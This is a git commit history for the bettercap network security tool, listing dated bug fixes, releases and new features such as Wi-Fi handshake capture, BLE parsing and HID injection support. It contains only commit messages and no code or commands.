yungtravla
83d3158a00
add build constraint for android 2019-03-13 02:48:20 +10:00
evilsocket
81d20fa758
fix: fixed a bug that caused hid.recon to crash if started more than once 2019-03-12 17:28:41 +01:00
evilsocket
3c1277ebbc
fix: handling CORS for api.rest 2019-03-12 12:49:20 +01:00
evilsocket
e90c6b5e2d
new: exposing flags and connectable fields for BLE devices in api.rest 2019-03-11 14:14:03 +01:00
evilsocket
384815524f
Merge pull request #479 from bettercap/gzipCompress-gzipDecompress
add JS functions gzipCompress and gzipDecompress
2019-03-11 13:44:14 +01:00
yungtravla
2463903490
add JS functions gzipCompress and gzipDecompress 2019-03-11 20:30:21 +10:00
evilsocket
42ba34eb75
fix: fixed typo in net.sniff (tnx to @_branzo_) 2019-03-10 20:46:25 +01:00
evilsocket
0676301a40
misc: small fix or general refactoring i did not bother commenting 2019-03-09 17:30:56 +01:00
evilsocket
b8118666a1
misc: small fix or general refactoring i did not bother commenting 2019-03-09 16:43:45 +01:00
evilsocket
be902b9833
Releasing v2.19 2019-03-09 16:28:50 +01:00
evilsocket
f7da3f2e3f
misc: small fix or general refactoring i did not bother commenting 2019-03-09 16:24:56 +01:00
evilsocket
027f4a3ccc
new: new -version command line argument to print version, build information and exit 2019-03-09 16:22:35 +01:00
evilsocket
bf4c841ef9
new: new events.stream.time.format parameter (closes #476) 2019-03-09 15:55:45 +01:00
evilsocket
416c39a7a8
misc: improved build script 2019-03-09 15:46:31 +01:00
evilsocket
3013dd13f1
fixed windows compilation 2019-03-09 13:54:57 +01:00
evilsocket
aaf250f3c5
new: hid module is now available for Android 2019-03-09 13:46:07 +01:00
evilsocket
a4de63c357
misc: small fix or general refactoring i did not bother commenting 2019-03-09 12:39:30 +01:00
evilsocket
36ebdc90d9
trying to compile hid module on android 2019-03-09 12:22:32 +01:00
evilsocket
e22ce22716
misc: small fix or general refactoring i did not bother commenting 2019-03-09 12:08:19 +01:00
evilsocket
5d7c8933fa
fix: showing warning about hid failed frames only if every attempt failed 2019-03-09 11:30:28 +01:00
evilsocket
d8d208ae17
new: hid.inject now supports non visible devices (talking directly to the dongle) via the hid.force.type parameter 2019-03-09 11:16:18 +01:00
evilsocket
a8ecb5472f
Merge pull request #474 from yungtravla/master
add readDir function to JS plugin
2019-03-08 15:47:18 +01:00
yungtravla
306771208a
add readDir function to JS plugin 2019-03-08 14:20:01 +10:00
evilsocket
963840915b
new: parsing gps GPGGA messages other than just GNGGA (fixes #473) 2019-03-07 10:29:17 +01:00
evilsocket
4e860c73fe
misc: small fix or general refactoring i did not bother commenting 2019-03-04 18:39:58 +01:00
evilsocket
bbfa230fae
fix: fixed compilation on Android (fixes #470) 2019-03-04 18:23:32 +01:00
evilsocket
292ceb8d82
misc: simplified build script 2019-03-03 12:34:38 +01:00
evilsocket
e98ac9938f
fix: fixed linux build issue due to mdlayher/raw (fixes #468) 2019-03-03 12:26:18 +01:00
evilsocket
5cc9db802c
misc: updated dependencies 2019-03-02 13:09:12 +01:00
evilsocket
56922c9be6
fix: fixed a bug which prevented some keys from being correctly parsed from the duckyscript parser (fixes #466) 2019-03-02 12:07:46 +01:00
evilsocket
f271f7cd76
Releasing v2.18 2019-03-01 15:45:16 +01:00
evilsocket
4c1ac92ca5
misc: from now, only Linux, macOS and Windows amd64 precompiled binaries will be distributed 2019-03-01 15:38:17 +01:00
evilsocket
057179c351
fuck snapcraft 2019-03-01 15:31:39 +01:00
evilsocket
a7ac114a50
misc: small fix or general refactoring i did not bother commenting 2019-03-01 14:54:55 +01:00
evilsocket
48fa860417
misc: small fix or general refactoring i did not bother commenting 2019-03-01 11:39:53 +01:00
evilsocket
020d471b95
fix: fixed a bug which caused BLE handles to be displayed incorrectly (fixes #465) 2019-03-01 11:31:10 +01:00
evilsocket
bcc19ec1a4
misc: small fix or general refactoring i did not bother commenting 2019-03-01 11:23:01 +01:00
evilsocket
e46ea6c9a9
fix: command handlers are now atomically locked 2019-02-26 13:26:28 +01:00
evilsocket
3dbc904ddd
fix: wifi.region must be blank by default 2019-02-24 23:03:19 +01:00
evilsocket
d5016bc506
fix: locking session object instance while session.Run 2019-02-24 22:22:22 +01:00
evilsocket
b6979f2baf
misc: small fix or general refactoring i did not bother commenting 2019-02-24 21:00:12 +01:00
evilsocket
e98975a213
misc: small fix or general refactoring i did not bother commenting 2019-02-24 20:59:35 +01:00
evilsocket
1492bf5e40
new: added events.on (and other related commands) to trigger specific actions when an events happens 2019-02-24 20:21:18 +01:00
evilsocket
78c341c2b3
fix: wifi.AccessPoint and wifi.Station now export the Channel field via JSON 2019-02-24 20:12:41 +01:00
evilsocket
4ae1ffd171
fix: removed delay in wifi.assoc and wifi.deauth as it only made them slower and not more effective 2019-02-24 19:19:51 +01:00
evilsocket
7e1d8ac68f
misc: small fix or general refactoring i did not bother commenting 2019-02-24 13:20:41 +01:00
evilsocket
7e4cfbe57c
new: events.ignore and events.include now support tab completion 2019-02-24 12:57:16 +01:00
evilsocket
2e5624917e
misc: small fix or general refactoring i did not bother commenting 2019-02-22 14:48:32 +01:00
evilsocket
0cbd6d7a9d
misc: small fix or general refactoring i did not bother commenting 2019-02-22 14:19:25 +01:00
evilsocket
4d60494bfb
misc: small fix or general refactoring i did not bother commenting 2019-02-22 14:11:31 +01:00
evilsocket
ff8fd9c62d
misc: small fix or general refactoring i did not bother commenting 2019-02-22 14:11:03 +01:00
evilsocket
87b667c1dc
misc: small fix or general refactoring i did not bother commenting 2019-02-22 14:10:49 +01:00
evilsocket
774413fad7
new: parsing BLE privacy flag 2019-02-22 14:06:54 +01:00
evilsocket
5da615f968
new: parsing BLE peripheral preferred connection parameters field 2019-02-22 13:40:39 +01:00
evilsocket
cff4b4c11b
new: parsing BLE PnP ID field 2019-02-22 13:18:43 +01:00
evilsocket
c3a4dc8cf5
misc: updated deps 2019-02-22 12:59:11 +01:00
evilsocket
b8e5872040
misc: small fix or general refactoring i did not bother commenting 2019-02-22 12:03:26 +01:00
evilsocket
4ac68fe6f5
misc: small fix or general refactoring i did not bother commenting 2019-02-22 11:33:56 +01:00
evilsocket
59d1cdf9bd
misc: small fix or general refactoring i did not bother commenting 2019-02-21 16:10:34 +01:00
evilsocket
8884cb4a18
added frame retransmission for hid.inject 2019-02-21 15:23:49 +01:00
evilsocket
7c68c138e5
misc: small fix or general refactoring i did not bother commenting 2019-02-21 15:06:52 +01:00
evilsocket
dc3907415b
misc: small fix or general refactoring i did not bother commenting 2019-02-21 15:06:22 +01:00
evilsocket
5944189802
new: new wifi.show.manufacturer parameter to show APs manufacturers (fixes #456) 2019-02-21 14:20:37 +01:00
evilsocket
99a60364cd
misc: small fix or general refactoring i did not bother commenting 2019-02-21 13:51:30 +01:00
evilsocket
a174c0d7ed
misc: small fix or general refactoring i did not bother commenting 2019-02-21 13:49:57 +01:00
evilsocket
08a49a434c
misc: small fix or general refactoring i did not bother commenting 2019-02-21 13:48:20 +01:00
evilsocket
80c62b8a00
misc: small fix or general refactoring i did not bother commenting 2019-02-21 13:47:03 +01:00
evilsocket
75b674fdd5
misc: small fix or general refactoring i did not bother commenting 2019-02-21 13:46:22 +01:00
evilsocket
7623b3460c
misc: small fix or general refactoring i did not bother commenting 2019-02-21 13:44:08 +01:00
evilsocket
7c0cf31342
misc: small fix or general refactoring i did not bother commenting 2019-02-21 13:41:29 +01:00
evilsocket
21a8b3646f
misc: small fix or general refactoring i did not bother commenting 2019-02-21 13:39:47 +01:00
evilsocket
47e7b2a125
fix: not using pkg-config for libusb in order to compile on android 2019-02-21 13:37:10 +01:00
evilsocket
f5d1351987
enabling hid module on android as libusb can be installed via termux 2019-02-21 13:17:00 +01:00
evilsocket
2d3eab50ab
removed crosscompilations as libusb makes everything overcomplicated 2019-02-21 13:11:30 +01:00
evilsocket
2973a75f44
misc: small fix or general refactoring i did not bother commenting 2019-02-21 12:54:06 +01:00
evilsocket
c77856e4ad
added libusb-1.0 to snapcraft file 2019-02-21 12:52:49 +01:00
evilsocket
d23811ee5d
misc: small fix or general refactoring i did not bother commenting 2019-02-21 12:37:33 +01:00
evilsocket
3e14cfe8ac
fixing compilation for platoforms where the HID modules are not supported 2019-02-21 12:35:25 +01:00
evilsocket
c6987c1652
Merge branch 'master' into hid_recon 2019-02-21 12:12:47 +01:00
evilsocket
ec842d217e
misc: small fix or general refactoring i did not bother commenting 2019-02-21 12:09:18 +01:00
evilsocket
d21f3b447a
fix: added a mutex to write ops in the hid module 2019-02-21 11:50:56 +01:00
evilsocket
e0e1f4e6df
new: HID devices are now exported by the api.rest module 2019-02-21 11:43:48 +01:00
evilsocket
f6649aa82b
new: all hid periods are now configurable by dedicated parameters 2019-02-21 11:23:09 +01:00
evilsocket
17c639126d
misc: small fix or general refactoring i did not bother commenting 2019-02-20 19:02:25 +01:00
evilsocket
b6e9ca59ec
misc: small fix or general refactoring i did not bother commenting 2019-02-20 18:54:19 +01:00
evilsocket
7c9e2afdcc
added HID support for Microsoft devices 2019-02-20 18:45:13 +01:00
evilsocket
8bd19008f2
added HID support for Amazon devices 2019-02-20 18:16:30 +01:00
evilsocket
810d24d80e
misc: small fix or general refactoring i did not bother commenting 2019-02-20 18:05:27 +01:00
evilsocket
037d5cea22
finished the duckyscript parser 2019-02-20 17:54:44 +01:00
evilsocket
055ba917a1
misc: small fix or general refactoring i did not bother commenting 2019-02-20 15:06:42 +01:00
evilsocket
7cc9e5b0b6
misc: small fix or general refactoring i did not bother commenting 2019-02-20 15:05:03 +01:00
evilsocket
d6c406cb73
basic HID injection is finally working :) 2019-02-20 14:06:10 +01:00
evilsocket
c234f3d36b
fix: fixes 'iw executable not found in path' error on macOS (fixes #454) 2019-02-20 12:27:01 +01:00
evilsocket
e0853ade9b
some progress on HID injection 2019-02-20 12:24:05 +01:00
evilsocket
871dfe3024
Releasing v2.17 2019-02-19 22:55:23 +01:00
evilsocket
87171cbd1d
fix: fixed compilation error on macOS (fixes #453) 2019-02-19 22:48:08 +01:00
evilsocket
6458a438db
misc: added gousb dependency 2019-02-19 21:48:37 +01:00
evilsocket
c1729ab578
new: hid.recon, hid.show and hid.sniff 2019-02-19 21:47:24 +01:00
evilsocket
345c1f5d45
new: new wifi.region and wifi.txpower parameters 2019-02-19 12:09:00 +01:00
evilsocket
2446cde2e1
misc: small fix or general refactoring i did not bother commenting 2019-02-19 11:34:46 +01:00
evilsocket
dbd4590654
new: new wifi.clear command to clear access points collected by wifi.recon 2019-02-19 11:17:50 +01:00
evilsocket
223af913b8
new: new ble.clear command to clear devices collected by ble.recon 2019-02-19 11:13:48 +01:00
evilsocket
5f462525d3
new: new net.clear command to clear endpoints collected by net.recon 2019-02-19 11:11:04 +01:00
evilsocket
e3573b81e4
fix: fixed a bug in the https.proxy certificates cache due to a race condition which caused the same certificate to be generated more than once 2019-02-19 10:51:12 +01:00
evilsocket
e19595395f
Merge pull request #451 from yungtravla/master
add events.filters.clear command to clear events.filters list
2019-02-19 10:00:17 +01:00
yungtravla
52bfe124ef
add events.filters.clear command to clear events.filters list 2019-02-19 06:22:11 +10:00
evilsocket
a4aa5acbcd
new: wifi.deauth and wifi.assoc now support autocompletion 2019-02-18 13:25:33 +01:00
evilsocket
49e2116d46
new: ble.enum and ble.write now support autocompletion 2019-02-18 13:06:41 +01:00
evilsocket
742e7fd8bb
fix: single quotes can now be used to clear variables (fixes #450) 2019-02-16 15:54:51 +01:00
evilsocket
6980b864f5
fix: commands passed with -eval are executed after modules in autostart are activated 2019-02-15 13:59:21 +01:00
evilsocket
a72801f9b5
new: ble.show shows device names if available for at least one of the devices 2019-02-15 13:41:39 +01:00
evilsocket
3e7aa68184
misc: both wifi.assoc and wifi.deauth will wait for wifi.hop.period*2 on the channel in order to improve key material capturing 2019-02-15 12:48:32 +01:00
evilsocket
54a8888b13
fix: fixed a bug which caused APs encryption to be downgraded when incomplete dot11 frames are parsed 2019-02-15 12:40:16 +01:00
evilsocket
38c761afa8
fix: keeping red-mark for APs with captured key material even when stations disconnect (fixes #449) 2019-02-15 12:08:55 +01:00
evilsocket
2cdd3d22a5
misc: small fix or general refactoring i did not bother commenting 2019-02-14 16:08:38 +01:00
evilsocket
9f5926bf5a
misc: small fix or general refactoring i did not bother commenting 2019-02-14 15:47:14 +01:00
evilsocket
1915bb565c
fix: using BLE company identifier if the vendor can't be detected by MAC 2019-02-14 14:46:17 +01:00
evilsocket
272384c673
fix: fixed a bug in the GATT library which caused BLE characteristics enumeration to fail in some cases 2019-02-14 14:43:53 +01:00
evilsocket
5077476209
fix: fixed a bug which caused characteristics enumeration to fail in some cases 2019-02-14 14:43:14 +01:00
evilsocket
9a76645a1c
new: parsing BLE appearance field 2019-02-14 14:13:19 +01:00
evilsocket
1fa9160407
fix: fixed a bug which made ble.enum work only once per execution (fixes #163) 2019-02-14 13:33:01 +01:00
evilsocket
51439203bd
misc: small fix or general refactoring i did not bother commenting 2019-02-14 13:27:45 +01:00
evilsocket
694debac60
Releasing v2.16 2019-02-14 13:15:42 +01:00
evilsocket
482dc74d41
misc: small fix or general refactoring i did not bother commenting 2019-02-14 13:10:23 +01:00
evilsocket
440e1b6f72
fix: fixed a bug which prevented EAPOL frames with only a PMKID to be correctly saved. 2019-02-14 13:03:28 +01:00
evilsocket
d51e61f6d0
misc: small fix or general refactoring i did not bother commenting 2019-02-14 12:57:04 +01:00
evilsocket
f72dac0c95
new: parsing BLE flags and company identifiers from advertisements 2019-02-14 12:26:28 +01:00
evilsocket
7f68d0d82c
misc: small fix or general refactoring i did not bother commenting 2019-02-14 11:06:05 +01:00
evilsocket
d62090267e
new: new ble.show.filter, ble.show.limit and ble.show.sort parameters 2019-02-14 10:40:45 +01:00
evilsocket
93a68bee27
Releasing v2.15 2019-02-13 16:02:48 +01:00
evilsocket
4cfcaf1c59
misc: small fix or general refactoring i did not bother commenting 2019-02-13 15:24:28 +01:00
evilsocket
ffb060db16
misc: small fix or general refactoring i did not bother commenting 2019-02-13 12:14:57 +01:00
evilsocket
ca421cf8e3
fix: fixed a logic bug which made targets lookup by alias fail. 2019-02-13 10:53:24 +01:00
evilsocket
89cccf028a
fix: fixed a bug in net.show.meta which prevented info being printed if the selected ip was the gateway 2019-02-13 10:25:03 +01:00
evilsocket
4eead7eafa
misc: small fix or general refactoring i did not bother commenting 2019-02-13 10:12:34 +01:00
evilsocket
bf3671465b
misc: small fix or general refactoring i did not bother commenting 2019-02-12 16:59:00 +01:00
evilsocket
9cd4e380fb
misc: each module now has its own tagged logging 2019-02-12 15:16:02 +01:00
evilsocket
9003be56ca
new: bettercap is now available on the Snap Store 2019-02-12 12:23:29 +01:00
evilsocket
57983c6524
misc: small fix or general refactoring i did not bother commenting 2019-02-12 12:12:04 +01:00
evilsocket
252645dd4e
misc: small fix or general refactoring i did not bother commenting 2019-02-12 12:03:48 +01:00
evilsocket
10727cff85
misc: small fix or general refactoring i did not bother commenting 2019-02-12 12:01:10 +01:00
evilsocket
cf953b1e02
misc: small fix or general refactoring i did not bother commenting 2019-02-12 11:51:27 +01:00
evilsocket
2ce3a65eaf
new: added new Technicolor OUI for secondary router interfaces 2019-02-12 10:49:37 +01:00
evilsocket
c27d17d729
misc: small fix or general refactoring i did not bother commenting 2019-02-12 10:31:25 +01:00
evilsocket
b7a6d4a6c6
misc: small fix or general refactoring i did not bother commenting 2019-02-12 10:25:15 +01:00
evilsocket
a6e87618d4
misc: small fix or general refactoring i did not bother commenting 2019-02-12 10:18:34 +01:00
evilsocket
17952a3904
Merge pull request #439 from rhaidiz/master
Add option to manually specify the gateway
2019-02-12 10:07:30 +01:00
rhaidiz
0f6c3e51f4 Rename the parameter for overriding the value of the default gateway 2019-02-11 19:43:19 +01:00
rhaidiz
900468711c Rename the parameter for overriding the value of the default gateway 2019-02-11 19:40:40 +01:00
evilsocket
84fe6b72c5
fix: fixed a bug in wifi.recon.channel which made it block if wifi.recon is off 2019-02-11 18:04:01 +01:00
evilsocket
c55aed1ca2
fix: fixed a bug which caused AP RSSI being 0 when fake association frames were sent 2019-02-11 14:29:30 +01:00
evilsocket
5315784f8a
new: the RSSI column in wifi.show is colored according to signal strength 2019-02-11 14:20:04 +01:00
evilsocket
261789d592
new: implemented arp.spoof.fullduplex (closes #426) 2019-02-11 13:37:33 +01:00
evilsocket
0bb9acf033
new: new wifi.rssi.min parameter 2019-02-11 11:53:22 +01:00
evilsocket
b503fdc6aa
fix: fixed a bug which prevented negative integer parameter values from being accepted 2019-02-11 11:48:42 +01:00
evilsocket
307f151052
Merge pull request #441 from bettercap/refactoring-modules
misc: refactored modules in subfolders.
2019-02-11 11:35:10 +01:00
Giuseppe Trotta
ed652622e2 Refactoring modules 2019-02-10 23:58:08 +01:00
Federico
ccc6620189
Fix indentation 2019-02-10 14:51:45 +01:00
Federico
f9e2347e4f
Fix indentation 2019-02-10 14:47:14 +01:00
rhaidiz
e1023d4b66 Add option to manually specify the gateway. 2019-02-10 14:46:05 +01:00
evilsocket
c0d3c314fc
misc: updated dependencies 2019-02-10 13:04:03 +01:00
evilsocket
696c056b56
fix: using tui.Table for wifi.show.wps output 2019-02-10 12:51:50 +01:00
evilsocket
62db3a0be0
new: net.show.meta command to show meta information collected about one or more hosts 2019-02-10 12:44:47 +01:00
evilsocket
c85548dbdc
misc: small fix or general refactoring i did not bother commenting 2019-02-08 16:08:07 +01:00
evilsocket
a3d6b353fe
fix: fixed a bug which made the wifi channel hopper react slowly to wifi.recon.channel N commands 2019-02-08 12:45:04 +01:00
evilsocket
598df7324e
misc: small fix or general refactoring i did not bother commenting 2019-02-08 12:33:08 +01:00
evilsocket
14f97d7309
misc: small fix or general refactoring i did not bother commenting 2019-02-08 08:20:52 +01:00
evilsocket
acbc6d28dd
new: new wifi.assoc command to perform a RSN PMKID clientless attack (closes #436) 2019-02-07 18:27:14 +01:00
evilsocket
0ec645afd3
new: started implementing RSN PMKID parsing support (ref #436) 2019-02-07 15:15:15 +01:00
evilsocket
e1d72342f6
Releasing v2.14 2019-02-06 18:12:31 +01:00
evilsocket
026ae2e5a5
misc: small fix or general refactoring i did not bother commenting 2019-02-06 16:10:52 +01:00
evilsocket
e9b93b8586
fix: save unsaved packets only if handshake is complete 2019-02-06 14:07:58 +01:00
evilsocket
605361daa2
fix: fixed a bug in wifi.recon.channel 2019-02-06 13:53:44 +01:00
evilsocket
621f03c946
new: reporting alias and vendor for wifi.client.new and wifi.client.lost events 2019-02-06 12:46:03 +01:00
evilsocket
b450747f4e
fix: updating gopacket to v1.1.16 fixed a bug which made wifi.recon off to timeout 2019-02-06 12:24:00 +01:00
evilsocket
4c5a776f86
new: wifi.recon now reports wifi.client.new and wifi.client.lost events 2019-02-06 11:38:28 +01:00
evilsocket
44629f62ca
misc: small fix or general refactoring i did not bother commenting 2019-02-06 11:02:10 +01:00
evilsocket
6c1211859b
new: wifi.show.wps now supports '*' and 'all' as shortcuts for 'ff:ff:ff:ff:ff:ff' 2019-02-06 10:06:46 +01:00
evilsocket
0a02cee615
new: wifi.deauth now supports '*' and 'all' as shortcuts for 'ff:ff:ff:ff:ff:ff' 2019-02-06 10:02:18 +01:00
evilsocket
003139a2e3
new: wifi.recon will activate the interface if it's down instead of failing 2019-02-06 09:42:48 +01:00
evilsocket
3c798794eb
fix: do not show gateway warning if the interface is not connected to any network 2019-02-06 09:11:38 +01:00
evilsocket
ae223d7110
misc: small fix or general refactoring i did not bother commenting 2019-02-06 08:46:19 +01:00
evilsocket
1d55083f75
new: new wifi.deauth.open boolean parameter to optionally skip open networks while deauthing en masse 2019-02-06 07:53:39 +01:00
evilsocket
1f925334ec
fix: do not report errors in net.show and wifi.show if zero 2019-02-06 07:45:56 +01:00
evilsocket
97187acccb
misc: small fix or general refactoring i did not bother commenting 2019-02-06 07:29:36 +01:00
evilsocket
75185c88cf
misc: small fix or general refactoring i did not bother commenting 2019-02-06 07:14:43 +01:00
evilsocket
1120f98be1
fix: one beacon packet per handshake is saved in order to have both the ESSID and BSSID 2019-02-06 07:08:01 +01:00
evilsocket
a90f63b643
new: added number of captured full handshakes in wifi.show 2019-02-05 19:56:21 +01:00
evilsocket
a6cfb2413f
new: added native wifi handshakes capture from wifi.recon module 2019-02-05 19:42:13 +01:00
evilsocket
23f340d8eb
new: splitted http.server and https.server in order to be able to use both from a single instance (closes #433) 2019-02-05 11:15:08 +01:00
evilsocket
402bf77a31
Merge pull request #435 from yungtravla/master
fix regexp to match default gateway IPv4 address and interface name
2019-02-05 11:01:19 +01:00
yungtravla
a483c22e8d
fix regexp when ip route does not end with interface name 2019-02-05 15:14:40 +10:00
yungtravla
fd3efcac09
fix regexp to match default gateway IPv4 address and interface name 2019-02-05 15:12:17 +10:00
yungtravla
a9ceae3b4f
fix regexp to match gateway IPv4 address 2019-02-05 14:58:11 +10:00
yungtravla
ef1f2a19f8
fix regexp to match hostnames with hyphens 2019-02-05 14:01:17 +10:00
yungtravla
61c99c4b0f
fix matching of hostnames with hyphens 2019-02-05 13:59:44 +10:00
evilsocket
8abaeeacee
fix: updated islazy to v1.9.3 fixed a bug in the way tui.Table was rendered 2019-01-31 16:39:35 +01:00
evilsocket
91391a77f2
fix: reporting alias and mac address for endpoint.lost events 2019-01-31 11:56:17 +01:00
evilsocket
08a5ebb328
Merge pull request #427 from zseha/master
^D interrupt does the same as ^C
2019-01-31 10:17:25 +01:00
zs
84b300d396 ^D interrupt does the same as ^C 2019-01-30 13:35:10 +01:00
evilsocket
335b0bcab3
Releasing v2.13.1 2019-01-29 16:28:32 +01:00
evilsocket
db7d6b64f0
new: new teamviewer packet parser for net.sniff 2019-01-29 15:31:27 +01:00
evilsocket
0d7eb43ee5
fix: fixed a bug in DNS sniffer which prevented it to report all query responses 2019-01-29 14:40:32 +01:00
evilsocket
5eecd0bcce
misc: small fix or general refactoring i did not bother commenting 2019-01-29 14:04:01 +01:00
evilsocket
44fddfa455
fix: fixed a bug in net.sniff and wifi.recon that caused stop operations to hang on pcap_close 2019-01-29 13:47:20 +01:00
evilsocket
36a6bb87ce
new: added net.sniff FTP credentials parser (closes #424) 2019-01-29 13:02:14 +01:00
evilsocket
8230b8bca6
fix: fixed a crash happening during wifi.recon/wifi.show where no APs have WPS (fixes #423) 2019-01-29 12:36:34 +01:00
evilsocket
0de4643a4e
Releasing v2.13 2019-01-28 18:07:50 +01:00
evilsocket
59d1842101
misc: small fix or general refactoring i did not bother commenting 2019-01-28 17:39:31 +01:00
evilsocket
116e6e19dd
misc: small fix or general refactoring i did not bother commenting 2019-01-28 17:38:03 +01:00
evilsocket
5504e423fe
new: new net.fuzz network fuzzer module 2019-01-28 17:06:27 +01:00
evilsocket
26ebef7d3f
misc: small fix or general refactoring i did not bother commenting 2019-01-28 13:39:12 +01:00
evilsocket
10fe1bf693
new: parsing wps.primaryDeviceType 2019-01-28 13:30:20 +01:00
evilsocket
4ecd89ae22
fix: parsing wps.Version from wps.WFA 2019-01-28 12:34:02 +01:00
evilsocket
cac366913a
new: parsing wps wfa version2 field 2019-01-28 12:12:58 +01:00
evilsocket
53d07298b7
new: parsing WPS response type field 2019-01-27 16:50:56 +01:00
evilsocket
be055f5e41
new: parsing WPS RF bands 2019-01-27 16:45:15 +01:00
evilsocket
053fa343f3
new: parsing WPS Configs fields 2019-01-27 16:42:03 +01:00
evilsocket
2c2be3149d
fix: don't overwrite full WPS map when new info arrive 2019-01-27 15:06:43 +01:00
evilsocket
4e82a4356a
fix: sorting WPS fields by name for wifi.show.wps command 2019-01-27 15:01:44 +01:00
evilsocket
85f713f610
new: wps device password id fields descriptors 2019-01-27 14:56:06 +01:00
evilsocket
50bf22af9c
new: new WPS parsing capabilities and wifi.show.wps command 2019-01-27 14:52:59 +01:00
evilsocket
dcd1fbfe27
fix: fixed a bug which prevented loading caplets from absolute paths 2019-01-26 12:50:58 +01:00
evilsocket
bbf178e3db
fixed wifi.show.sort by rssi 2019-01-26 12:46:15 +01:00
evilsocket
282b58c024
misc: small fix or general refactoring i did not bother commenting 2019-01-24 17:20:05 +01:00
evilsocket
2fe9a2af2f
new: wifi.show and net.show columns are now decorated according to sorting 2019-01-24 15:15:09 +01:00
evilsocket
58738b7723
new: added wifi.show clients and encryption sorting 2019-01-24 14:36:26 +01:00
evilsocket
573cb17735
new: wifi.show.filter, wifi.show.limit, wifi.show.sort and wifi.show.sort_by parameters to control wifi.show 2019-01-24 11:17:27 +01:00
evilsocket
28f8586abb
new: net.show.filter, net.show.limit, net.show.sort and net.show.sort_by parameters to control net.show 2019-01-23 20:03:01 +01:00
evilsocket
431e84ea79
fix: fixed a deadlock in events.stream when the -debug flag is passed and some events are ignored 2019-01-23 14:07:45 +01:00
evilsocket
308fa01e81
fix 2019-01-20 18:36:36 +01:00
evilsocket
b7dddfb623
Releasing v2.12 2019-01-20 18:35:44 +01:00
evilsocket
79279126e6
fix: fixed compilation of macOS for wifi modules 2019-01-20 18:30:22 +01:00
evilsocket
bf34561a19
new: added interface name and channel on wifi.show 2019-01-19 18:03:31 +01:00
evilsocket
f71df54950
new: wifi.show now shows I/O statistics like net.show 2019-01-19 17:54:49 +01:00
evilsocket
b2cd841ce8
new: new wifi.deauth.silent setting 2019-01-19 17:51:20 +01:00
evilsocket
ee83ce44b4
misc: small fix or general refactoring i did not bother commenting 2019-01-18 20:17:27 +01:00
evilsocket
31895569f7
misc: refactored modules.findMAC to session.FindMAC 2019-01-18 20:13:41 +01:00
evilsocket
81f1d6b88f
misc: small fix or general refactoring i did not bother commenting 2019-01-18 16:32:37 +01:00
evilsocket
ca734335fa
new: implemented wifi.deauth.skip variable (closes #375) 2019-01-18 16:19:30 +01:00
evilsocket
41084bec39
fix: made wifi.deauth asynchronous 2019-01-18 16:06:24 +01:00
evilsocket
470d456ba8
new: syn.scan stop command (closes #415) 2019-01-18 15:56:22 +01:00
evilsocket
e31ce94a78
new: added syn.scan.progress command and syn.scan.show-progress-every variable (ref #415) 2019-01-18 15:52:06 +01:00
evilsocket
7e3a1d79a7
refact: minor refactoring to syn.scan module (ref #415) 2019-01-18 14:25:05 +01:00
evilsocket
34db9e5978
misc: updated dependencies 2019-01-17 19:59:37 +01:00
evilsocket
63810a5192
misc: small fix or general refactoring i did not bother commenting 2019-01-17 18:51:01 +01:00
evilsocket
93744418ef
misc: small fix or general refactoring i did not bother commenting 2019-01-17 18:44:02 +01:00
evilsocket
5d5d8339bf
fix: fixed a bug which caused events.show not to skip ignored events 2019-01-17 18:32:47 +01:00
evilsocket
4ac66fd52a
fix: fixed a bug in sslstripper (fixes #400) 2019-01-14 12:24:42 +01:00
evilsocket
740ac95428
Releasing v2.11.1 2019-01-07 11:55:49 +01:00
evilsocket
9619cd62de
fix: fixed a dns.spoof.domains bug (fixes #408) 2019-01-07 11:02:36 +01:00
evilsocket
f687c9bb76
fix: fixed a deadlock in tcp_proxy_script (fixes #411) 2019-01-07 10:57:26 +01:00
evilsocket
0c50012f9b
Merge pull request #410 from igorljubuncic/“add-snapcraft”
Add support for building snaps
2019-01-07 10:54:24 +01:00
Igor Ljubuncic
2fb8a00c71 Add support for building snaps 2018-12-20 10:13:56 +00:00
evilsocket
31c28f0c8d
fix: correctly parsing empty strings (fixes #403) 2018-12-12 14:51:13 +01:00
evilsocket
99ee5c00c4
Merge pull request #395 from sbrun/sbrun-patch-1
Fix the IPv4RouteParser regular expression
2018-11-25 12:49:39 +01:00
Sophie Brun
47c37c066c
Fix the IPv4RouteParser regular expression
The IPv4RouteParser regular expression fails to match when there is nothing after the interface name like in the following case:
    $ ip route
    default via 10.1.52.1 dev eth0 
    10.1.52.0/23 dev eth0 proto kernel scope link src 10.1.52.148
2018-11-23 11:03:13 +01:00
evilsocket
85c2d0b4fa
fix: gracefully handling corrupted or not compatible alias databases (fixes #391) 2018-11-22 13:06:29 +01:00
evilsocket
8cf3e65bdd
Releasing v2.11 2018-11-19 12:02:33 +01:00
evilsocket
df99940ac5
misc: small fix or general refactoring i did not bother commenting 2018-11-02 15:01:11 +01:00
evilsocket
260f2863c4
new: wifi modules now supports 5G wifi networks on macOS (closes #361) 2018-10-30 15:24:47 +01:00
evilsocket
26e2cd8831
fix: updated islazy to 1.9.1 (fixes #360) 2018-10-30 14:21:15 +01:00
Giuseppe Trotta
f6c2e15836
Merge pull request #381 from bettercap/events.stream
Fix #380
2018-10-30 11:19:51 +01:00
yungtravla
49eb83bec3
Update module_param.go 2018-10-30 20:08:30 +10:00
Giuseppe
572d9d7daf Fix #380 2018-10-30 10:58:57 +01:00
evilsocket
7447b9e0db
fix: fixes #379 2018-10-30 05:01:29 +01:00
evilsocket
24037bce47
Merge pull request #373 from Edznux/refactoring
Refactoring and fix tests
2018-10-29 15:24:31 +01:00
evilsocket
684ef513ba
Merge pull request #378 from bettercap/events.stream
Decimal support for events.stream.output.rotate.when
2018-10-29 15:23:42 +01:00
Giuseppe
251dbb3ef2 Decimal support for events.stream.output.rotate.when 2018-10-28 22:41:31 +01:00
Edznux
efe15b89bb Remove double check for the same condition ? 2018-10-28 18:05:39 +01:00
Edznux
25a2f48a02 Replace if/else by switch 2018-10-28 18:01:55 +01:00
Edznux
b119f815d9 Remove test unused tests & function (moved to islazy) 2018-10-28 17:52:30 +01:00
Edznux
2fe8999b2d revert ! 2018-10-28 17:42:25 +01:00
Edznux
3761f1e698 Revert "Oops, misread some tests !"
This reverts commit b0ef8a83de.
2018-10-28 17:36:52 +01:00
evilsocket
fc7d8d22b4
new: added log rotation (closes #374) 2018-10-28 12:43:38 +01:00
evilsocket
b6f320d719
Merge pull request #369 from HaraldNordgren/go_versions
Bump Go versions
2018-10-28 03:31:41 -05:00
evilsocket
dff6ed222b
Merge pull request #376 from Edznux/add-tests
Add tests to the session package
2018-10-28 03:31:06 -05:00
Edznux
